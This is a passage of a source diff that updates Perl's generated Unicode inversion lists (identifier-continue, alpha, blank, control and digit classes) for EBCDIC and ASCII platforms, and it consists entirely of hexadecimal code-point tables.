@@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0xFB46, 0xFBB2, 0xFBD3, - 0xFC5E, - 0xFC64, 0xFD3E, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFA, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, + 0xFDFC, + 0xFE70, + 0xFE75, + 0xFE76, 0xFEFD, 0xFF10, 0xFF1A, 0xFF21, 0xFF3B, - 0xFF3F, - 0xFF40, 0xFF41, 0xFF5B, 0xFF66, @@ -363668,17 +86368,13 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x100FB, 0x10140, 0x10175, - 0x101FD, - 0x101FE, 0x10280, 0x1029D, 0x102A0, 0x102D1, - 0x102E0, - 0x102E1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, 0x1037B, @@ -363746,10 +86442,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x10A18, 0x10A19, 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, 0x10A60, 0x10A7D, 0x10A80, @@ -363757,7 +86449,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x10AC0, 0x10AC8, 0x10AC9, - 0x10AE7, + 0x10AE5, 0x10B00, 0x10B36, 0x10B40, @@ -363773,27 +86465,27 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x10CC0, 0x10CF3, 0x11000, - 0x11047, + 0x11046, 0x11066, 0x11070, - 0x1107F, - 0x110BB, + 0x11082, + 0x110B9, 0x110D0, 0x110E9, 0x110F0, 0x110FA, 0x11100, - 0x11135, + 0x11133, 0x11136, 0x11140, 0x11150, - 0x11174, + 0x11173, 0x11176, 0x11177, 0x11180, + 0x111C0, + 0x111C1, 0x111C5, - 0x111CA, - 0x111CD, 0x111D0, 0x111DB, 0x111DC, @@ -363801,6 +86493,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x11200, 0x11212, 0x11213, + 0x11235, + 0x11237, 0x11238, 0x1123E, 0x1123F, @@ -363815,7 +86509,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1129F, 0x112A9, 0x112B0, - 0x112EB, + 0x112E9, 0x112F0, 0x112FA, 0x11300, @@ -363832,27 +86526,29 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x11334, 0x11335, 0x1133A, - 0x1133C, + 0x1133D, 0x11345, 0x11347, 0x11349, 0x1134B, - 0x1134E, + 0x1134D, 0x11350, 0x11351, 0x11357, 0x11358, 0x1135D, 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, 0x11400, + 0x11442, + 0x11443, + 0x11446, + 0x11447, 0x1144B, 0x11450, 0x1145A, 0x11480, + 0x114C2, + 0x114C4, 0x114C6, 0x114C7, 0x114C8, @@ -363861,37 +86557,31 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x11580, 0x115B6, 0x115B8, - 0x115C1, + 0x115BF, 0x115D8, 0x115DE, 0x11600, + 0x1163F, + 0x11640, 0x11641, 0x11644, 0x11645, 0x11650, 0x1165A, 0x11680, - 0x116B8, + 0x116B6, 0x116C0, 0x116CA, 0x11700, 0x1171A, 0x1171D, - 0x1172C, + 0x1172B, 0x11730, 0x1173A, 0x118A0, 0x118EA, 0x118FF, 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, 0x11AC0, 0x11AF9, 0x11C00, @@ -363899,6 +86589,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x11C0A, 0x11C37, 0x11C38, + 0x11C3F, + 0x11C40, 0x11C41, 0x11C50, 0x11C5A, @@ -363908,20 +86600,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, 0x12000, 0x1239A, 0x12400, @@ -363940,8 +86618,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x16A6A, 0x16AD0, 0x16AEE, - 0x16AF0, - 0x16AF5, 0x16B00, 0x16B37, 0x16B40, @@ -363956,18 +86632,16 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x16F45, 0x16F50, 0x16F7F, - 0x16F8F, + 0x16F93, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, 0x17000, 0x187ED, 0x18800, 0x18AF3, 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -363976,20 +86650,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1BC89, 0x1BC90, 0x1BC9A, - 0x1BC9D, + 0x1BC9E, 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, 0x1D400, 0x1D455, 0x1D456, @@ -364052,18 +86714,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1D7CC, 0x1D7CE, 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, 0x1E000, 0x1E007, 0x1E008, @@ -364076,10 +86726,10 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1E02B, 0x1E800, 0x1E8C5, - 0x1E8D0, - 0x1E8D7, 0x1E900, - 0x1E94B, + 0x1E944, + 0x1E947, + 0x1E948, 0x1E950, 0x1E95A, 0x1EE00, @@ -364148,6 +86798,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x1EEAA, 0x1EEAB, 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, 0x20000, 0x2A6D7, 0x2A700, @@ -364156,23 +86812,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 1047 */ 0x2B81E, 0x2B820, 0x2CEA2, - 0x2CEB0, - 0x2EBE1, 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 + 0x2FA1E }; -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ - 1413, /* Number of elements */ +static const UV XPosixAlpha_invlist[] = { /* for EBCDIC 037 */ + 1311, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ @@ -364183,8 +86828,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x5A, 0x62, 0x6A, - 0x6D, - 0x6E, 0x70, 0x79, 0x80, @@ -364201,8 +86844,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xAA, 0xAC, 0xAF, - 0xB3, - 0xB4, 0xC1, 0xCA, 0xCB, @@ -364214,7 +86855,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xE2, 0xEA, 0xEB, - 0xFA, + 0xF0, 0xFB, 0xFF, 0x100, @@ -364227,15 +86868,19 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x2ED, 0x2EE, 0x2EF, - 0x300, + 0x345, + 0x346, + 0x370, 0x375, 0x376, 0x378, - 0x37B, + 0x37A, 0x37E, 0x37F, 0x380, 0x386, + 0x387, + 0x388, 0x38B, 0x38C, 0x38D, @@ -364245,8 +86890,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x3F6, 0x3F7, 0x482, - 0x483, - 0x488, 0x48A, 0x530, 0x531, @@ -364255,7 +86898,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x55A, 0x561, 0x588, - 0x591, + 0x5B0, 0x5BE, 0x5BF, 0x5C0, @@ -364272,41 +86915,53 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x610, 0x61B, 0x620, - 0x66A, + 0x658, + 0x659, + 0x660, 0x66E, 0x6D4, 0x6D5, 0x6DD, - 0x6DF, + 0x6E1, 0x6E9, - 0x6EA, + 0x6ED, + 0x6F0, + 0x6FA, 0x6FD, 0x6FF, 0x700, 0x710, - 0x74B, + 0x740, 0x74D, 0x7B2, - 0x7C0, + 0x7CA, + 0x7EB, + 0x7F4, 0x7F6, 0x7FA, 0x7FB, 0x800, - 0x82E, + 0x818, + 0x81A, + 0x82D, 0x840, - 0x85C, - 0x860, - 0x86B, + 0x859, 0x8A0, 0x8B5, 0x8B6, 0x8BE, 0x8D4, - 0x8E2, + 0x8E0, 0x8E3, + 0x8EA, + 0x8F0, + 0x93C, + 0x93D, + 0x94D, + 0x94E, + 0x951, + 0x955, 0x964, - 0x966, - 0x970, 0x971, 0x984, 0x985, @@ -364321,11 +86976,13 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x9B3, 0x9B6, 0x9BA, - 0x9BC, + 0x9BD, 0x9C5, 0x9C7, 0x9C9, 0x9CB, + 0x9CD, + 0x9CE, 0x9CF, 0x9D7, 0x9D8, @@ -364333,10 +86990,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x9DE, 0x9DF, 0x9E4, - 0x9E6, + 0x9F0, 0x9F2, - 0x9FC, - 0x9FD, 0xA01, 0xA04, 0xA05, @@ -364353,21 +87008,19 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xA37, 0xA38, 0xA3A, - 0xA3C, - 0xA3D, 0xA3E, 0xA43, 0xA47, 0xA49, 0xA4B, - 0xA4E, + 0xA4D, 0xA51, 0xA52, 0xA59, 0xA5D, 0xA5E, 0xA5F, - 0xA66, + 0xA70, 0xA76, 0xA81, 0xA84, @@ -364383,20 +87036,18 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xAB4, 0xAB5, 0xABA, - 0xABC, + 0xABD, 0xAC6, 0xAC7, 0xACA, 0xACB, - 0xACE, + 0xACD, 0xAD0, 0xAD1, 0xAE0, 0xAE4, - 0xAE6, - 0xAF0, 0xAF9, - 0xB00, + 0xAFA, 0xB01, 0xB04, 0xB05, @@ -364411,20 +87062,18 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xB34, 0xB35, 0xB3A, - 0xB3C, + 0xB3D, 0xB45, 0xB47, 0xB49, 0xB4B, - 0xB4E, + 0xB4D, 0xB56, 0xB58, 0xB5C, 0xB5E, 0xB5F, 0xB64, - 0xB66, - 0xB70, 0xB71, 0xB72, 0xB82, @@ -364452,13 +87101,11 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xBC6, 0xBC9, 0xBCA, - 0xBCE, + 0xBCD, 0xBD0, 0xBD1, 0xBD7, 0xBD8, - 0xBE6, - 0xBF0, 0xC00, 0xC04, 0xC05, @@ -364474,15 +87121,13 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xC46, 0xC49, 0xC4A, - 0xC4E, + 0xC4D, 0xC55, 0xC57, 0xC58, 0xC5B, 0xC60, 0xC64, - 0xC66, - 0xC70, 0xC80, 0xC84, 0xC85, @@ -364495,40 +87140,40 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xCB4, 0xCB5, 0xCBA, - 0xCBC, + 0xCBD, 0xCC5, 0xCC6, 0xCC9, 0xCCA, - 0xCCE, + 0xCCD, 0xCD5, 0xCD7, 0xCDE, 0xCDF, 0xCE0, 0xCE4, - 0xCE6, - 0xCF0, 0xCF1, 0xCF3, - 0xD00, + 0xD01, 0xD04, 0xD05, 0xD0D, 0xD0E, 0xD11, 0xD12, + 0xD3B, + 0xD3D, 0xD45, 0xD46, 0xD49, 0xD4A, + 0xD4D, + 0xD4E, 0xD4F, 0xD54, 0xD58, 0xD5F, 0xD64, - 0xD66, - 0xD70, 0xD7A, 0xD80, 0xD82, @@ -364543,24 +87188,20 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xDBE, 0xDC0, 0xDC7, - 0xDCA, - 0xDCB, 0xDCF, 0xDD5, 0xDD6, 0xDD7, 0xDD8, 0xDE0, - 0xDE6, - 0xDF0, 0xDF2, 0xDF4, 0xE01, 0xE3B, 0xE40, - 0xE4F, - 0xE50, - 0xE5A, + 0xE47, + 0xE4D, + 0xE4E, 0xE81, 0xE83, 0xE84, @@ -364591,39 +87232,37 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xEC5, 0xEC6, 0xEC7, - 0xEC8, + 0xECD, 0xECE, - 0xED0, - 0xEDA, 0xEDC, 0xEE0, 0xF00, 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, + 0xF40, 0xF48, 0xF49, 0xF6D, 0xF71, - 0xF85, - 0xF86, + 0xF82, + 0xF88, 0xF98, 0xF99, 0xFBD, - 0xFC6, - 0xFC7, 0x1000, - 0x104A, + 0x1037, + 0x1038, + 0x1039, + 0x103B, + 0x1040, 0x1050, + 0x1063, + 0x1065, + 0x1069, + 0x106E, + 0x1087, + 0x108E, + 0x108F, + 0x109C, 0x109E, 0x10A0, 0x10C6, @@ -364665,10 +87304,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1316, 0x1318, 0x135B, - 0x135D, + 0x135F, 0x1360, - 0x1369, - 0x1372, 0x1380, 0x1390, 0x13A0, @@ -364688,9 +87325,9 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1700, 0x170D, 0x170E, - 0x1715, + 0x1714, 0x1720, - 0x1735, + 0x1734, 0x1740, 0x1754, 0x1760, @@ -364700,17 +87337,13 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1772, 0x1774, 0x1780, - 0x17D4, + 0x17B4, + 0x17B6, + 0x17C9, 0x17D7, 0x17D8, 0x17DC, - 0x17DE, - 0x17E0, - 0x17EA, - 0x180B, - 0x180E, - 0x1810, - 0x181A, + 0x17DD, 0x1820, 0x1878, 0x1880, @@ -364722,8 +87355,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1920, 0x192C, 0x1930, - 0x193C, - 0x1946, + 0x1939, + 0x1950, 0x196E, 0x1970, 0x1975, @@ -364731,45 +87364,47 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x19AC, 0x19B0, 0x19CA, - 0x19D0, - 0x19DB, 0x1A00, 0x1A1C, 0x1A20, 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, + 0x1A61, + 0x1A75, 0x1AA7, 0x1AA8, - 0x1AB0, - 0x1ABE, 0x1B00, + 0x1B34, + 0x1B35, + 0x1B44, + 0x1B45, 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B6B, - 0x1B74, 0x1B80, - 0x1BF4, + 0x1BAA, + 0x1BAC, + 0x1BB0, + 0x1BBA, + 0x1BE6, + 0x1BE7, + 0x1BF2, 0x1C00, - 0x1C38, - 0x1C40, - 0x1C4A, + 0x1C36, 0x1C4D, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CFA, + 0x1C50, + 0x1C5A, + 0x1C7E, + 0x1C80, + 0x1C89, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF4, + 0x1CF5, + 0x1CF7, 0x1D00, - 0x1DFA, - 0x1DFB, + 0x1DC0, + 0x1DE7, + 0x1DF5, + 0x1E00, 0x1F16, 0x1F18, 0x1F1E, @@ -364807,22 +87442,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1FF5, 0x1FF6, 0x1FFD, - 0x203F, - 0x2041, - 0x2054, - 0x2055, 0x2071, 0x2072, 0x207F, 0x2080, 0x2090, 0x209D, - 0x20D0, - 0x20DD, - 0x20E1, - 0x20E2, - 0x20E5, - 0x20F1, 0x2102, 0x2103, 0x2107, @@ -364831,7 +87456,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x2114, 0x2115, 0x2116, - 0x2118, + 0x2119, 0x211E, 0x2124, 0x2125, @@ -364840,6 +87465,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x2128, 0x2129, 0x212A, + 0x212E, + 0x212F, 0x213A, 0x213C, 0x2140, @@ -364849,6 +87476,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x214F, 0x2160, 0x2189, + 0x24B6, + 0x24EA, 0x2C00, 0x2C2F, 0x2C30, @@ -364856,6 +87485,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x2C60, 0x2CE5, 0x2CEB, + 0x2CEF, + 0x2CF2, 0x2CF4, 0x2D00, 0x2D26, @@ -364867,7 +87498,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x2D68, 0x2D6F, 0x2D70, - 0x2D7F, + 0x2D80, 0x2D97, 0x2DA0, 0x2DA7, @@ -364887,18 +87518,18 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x2DDF, 0x2DE0, 0x2E00, + 0x2E2F, + 0x2E30, 0x3005, 0x3008, 0x3021, - 0x3030, + 0x302A, 0x3031, 0x3036, 0x3038, 0x303D, 0x3041, 0x3097, - 0x3099, - 0x309B, 0x309D, 0x30A0, 0x30A1, @@ -364906,7 +87537,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x30FC, 0x3100, 0x3105, - 0x312F, + 0x312E, 0x3131, 0x318F, 0x31A0, @@ -364916,7 +87547,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x3400, 0x4DB6, 0x4E00, - 0x9FEB, + 0x9FD6, 0xA000, 0xA48D, 0xA4D0, @@ -364924,13 +87555,15 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xA500, 0xA60D, 0xA610, + 0xA620, + 0xA62A, 0xA62C, 0xA640, - 0xA670, + 0xA66F, 0xA674, - 0xA67E, + 0xA67C, 0xA67F, - 0xA6F2, + 0xA6F0, 0xA717, 0xA720, 0xA722, @@ -364940,47 +87573,63 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xA7B0, 0xA7B8, 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, 0xA828, 0xA840, 0xA874, 0xA880, + 0xA8C4, + 0xA8C5, 0xA8C6, - 0xA8D0, - 0xA8DA, - 0xA8E0, + 0xA8F2, 0xA8F8, 0xA8FB, 0xA8FC, 0xA8FD, 0xA8FE, - 0xA900, - 0xA92E, + 0xA90A, + 0xA92B, 0xA930, - 0xA954, + 0xA953, 0xA960, 0xA97D, 0xA980, - 0xA9C1, + 0xA9B3, + 0xA9B4, + 0xA9C0, 0xA9CF, - 0xA9DA, + 0xA9D0, 0xA9E0, + 0xA9E5, + 0xA9E6, + 0xA9F0, + 0xA9FA, 0xA9FF, 0xAA00, 0xAA37, 0xAA40, 0xAA4E, - 0xAA50, - 0xAA5A, 0xAA60, 0xAA77, 0xAA7A, + 0xAA7B, + 0xAA7E, + 0xAABF, + 0xAAC0, + 0xAAC1, + 0xAAC2, 0xAAC3, 0xAADB, 0xAADE, 0xAAE0, 0xAAF0, 0xAAF2, - 0xAAF7, + 0xAAF6, 0xAB01, 0xAB07, 0xAB09, @@ -364997,10 +87646,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xAB66, 0xAB70, 0xABEB, - 0xABEC, - 0xABEE, - 0xABF0, - 0xABFA, 0xAC00, 0xD7A4, 0xD7B0, @@ -365030,43 +87675,19 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0xFB46, 0xFBB2, 0xFBD3, - 0xFC5E, - 0xFC64, 0xFD3E, 0xFD50, 0xFD90, 0xFD92, 0xFDC8, 0xFDF0, - 0xFDFA, - 0xFE00, - 0xFE10, - 0xFE20, - 0xFE30, - 0xFE33, - 0xFE35, - 0xFE4D, - 0xFE50, - 0xFE71, - 0xFE72, - 0xFE73, - 0xFE74, - 0xFE77, - 0xFE78, - 0xFE79, - 0xFE7A, - 0xFE7B, - 0xFE7C, - 0xFE7D, - 0xFE7E, - 0xFE7F, + 0xFDFC, + 0xFE70, + 0xFE75, + 0xFE76, 0xFEFD, - 0xFF10, - 0xFF1A, 0xFF21, 0xFF3B, - 0xFF3F, - 0xFF40, 0xFF41, 0xFF5B, 0xFF66, @@ -365095,17 +87716,13 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x100FB, 0x10140, 0x10175, - 0x101FD, - 0x101FE, 0x10280, 0x1029D, 0x102A0, 0x102D1, - 0x102E0, - 0x102E1, 0x10300, 0x10320, - 0x1032D, + 0x10330, 0x1034B, 0x10350, 0x1037B, @@ -365119,8 +87736,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x103D6, 0x10400, 0x1049E, - 0x104A0, - 0x104AA, 0x104B0, 0x104D4, 0x104D8, @@ -365173,10 +87788,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x10A18, 0x10A19, 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A40, 0x10A60, 0x10A7D, 0x10A80, @@ -365184,7 +87795,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x10AC0, 0x10AC8, 0x10AC9, - 0x10AE7, + 0x10AE5, 0x10B00, 0x10B36, 0x10B40, @@ -365200,34 +87811,30 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x10CC0, 0x10CF3, 0x11000, - 0x11047, - 0x11066, - 0x11070, - 0x1107F, - 0x110BB, + 0x11046, + 0x11082, + 0x110B9, 0x110D0, 0x110E9, - 0x110F0, - 0x110FA, 0x11100, - 0x11135, - 0x11136, - 0x11140, + 0x11133, 0x11150, - 0x11174, + 0x11173, 0x11176, 0x11177, 0x11180, + 0x111C0, + 0x111C1, 0x111C5, - 0x111CA, - 0x111CD, - 0x111D0, + 0x111DA, 0x111DB, 0x111DC, 0x111DD, 0x11200, 0x11212, 0x11213, + 0x11235, + 0x11237, 0x11238, 0x1123E, 0x1123F, @@ -365242,9 +87849,7 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1129F, 0x112A9, 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, + 0x112E9, 0x11300, 0x11304, 0x11305, @@ -365259,66 +87864,52 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x11334, 0x11335, 0x1133A, - 0x1133C, + 0x1133D, 0x11345, 0x11347, 0x11349, 0x1134B, - 0x1134E, + 0x1134D, 0x11350, 0x11351, 0x11357, 0x11358, 0x1135D, 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, 0x11400, + 0x11442, + 0x11443, + 0x11446, + 0x11447, 0x1144B, - 0x11450, - 0x1145A, 0x11480, + 0x114C2, + 0x114C4, 0x114C6, 0x114C7, 0x114C8, - 0x114D0, - 0x114DA, 0x11580, 0x115B6, 0x115B8, - 0x115C1, + 0x115BF, 0x115D8, 0x115DE, 0x11600, + 0x1163F, + 0x11640, 0x11641, 0x11644, 0x11645, - 0x11650, - 0x1165A, 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, + 0x116B6, 0x11700, 0x1171A, 0x1171D, - 0x1172C, - 0x11730, - 0x1173A, + 0x1172B, 0x118A0, - 0x118EA, + 0x118E0, 0x118FF, 0x11900, - 0x11A00, - 0x11A3F, - 0x11A47, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9A, 0x11AC0, 0x11AF9, 0x11C00, @@ -365326,29 +87917,15 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x11C0A, 0x11C37, 0x11C38, + 0x11C3F, + 0x11C40, 0x11C41, - 0x11C50, - 0x11C5A, 0x11C72, 0x11C90, 0x11C92, 0x11CA8, 0x11CA9, 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, 0x12000, 0x1239A, 0x12400, @@ -365363,18 +87940,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x16A39, 0x16A40, 0x16A5F, - 0x16A60, - 0x16A6A, 0x16AD0, 0x16AEE, - 0x16AF0, - 0x16AF5, 0x16B00, 0x16B37, 0x16B40, 0x16B44, - 0x16B50, - 0x16B5A, 0x16B63, 0x16B78, 0x16B7D, @@ -365383,18 +87954,16 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x16F45, 0x16F50, 0x16F7F, - 0x16F8F, + 0x16F93, 0x16FA0, 0x16FE0, - 0x16FE2, + 0x16FE1, 0x17000, 0x187ED, 0x18800, 0x18AF3, 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, + 0x1B002, 0x1BC00, 0x1BC6B, 0x1BC70, @@ -365403,20 +87972,8 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1BC89, 0x1BC90, 0x1BC9A, - 0x1BC9D, + 0x1BC9E, 0x1BC9F, - 0x1D165, - 0x1D16A, - 0x1D16D, - 0x1D173, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D242, - 0x1D245, 0x1D400, 0x1D455, 0x1D456, @@ -365477,20 +88034,6 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1D7C3, 0x1D7C4, 0x1D7CC, - 0x1D7CE, - 0x1D800, - 0x1DA00, - 0x1DA37, - 0x1DA3B, - 0x1DA6D, - 0x1DA75, - 0x1DA76, - 0x1DA84, - 0x1DA85, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, 0x1E000, 0x1E007, 0x1E008, @@ -365503,12 +88046,10 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1E02B, 0x1E800, 0x1E8C5, - 0x1E8D0, - 0x1E8D7, 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, + 0x1E944, + 0x1E947, + 0x1E948, 0x1EE00, 0x1EE04, 0x1EE05, @@ -365575,6 +88116,12 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x1EEAA, 0x1EEAB, 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, 0x20000, 0x2A6D7, 0x2A700, @@ -365583,136 +88130,219 @@ static const UV PL_XIDC_invlist[] = { /* for EBCDIC 037 */ 0x2B81E, 0x2B820, 0x2CEA2, - 0x2CEB0, - 0x2EBE1, 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 + 0x2FA1E }; -# endif /* EBCDIC 037 */ +static const UV XPosixBlank_invlist[] = { /* for EBCDIC 037 */ + 15, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x5, + 0x6, + 0x40, + 0x42, + 0x1680, + 0x1681, + 0x2000, + 0x200B, + 0x202F, + 0x2030, + 0x205F, + 0x2060, + 0x3000, + 0x3001 +}; -# if 'A' == 65 /* ASCII/Latin1 */ +static const UV XPosixCntrl_invlist[] = { /* for EBCDIC 037 */ + 4, /* Number of elements */ + 148565664, /* Version and data structure type */ + 0, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x40, + 0xFF, + 0x100 +}; -static const UV PL_XIDS_invlist[] = { /* for ASCII/Latin1 */ - 1185, /* Number of elements */ +static const UV XPosixDigit_invlist[] = { /* for EBCDIC 037 */ + 109, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x370, - 0x375, 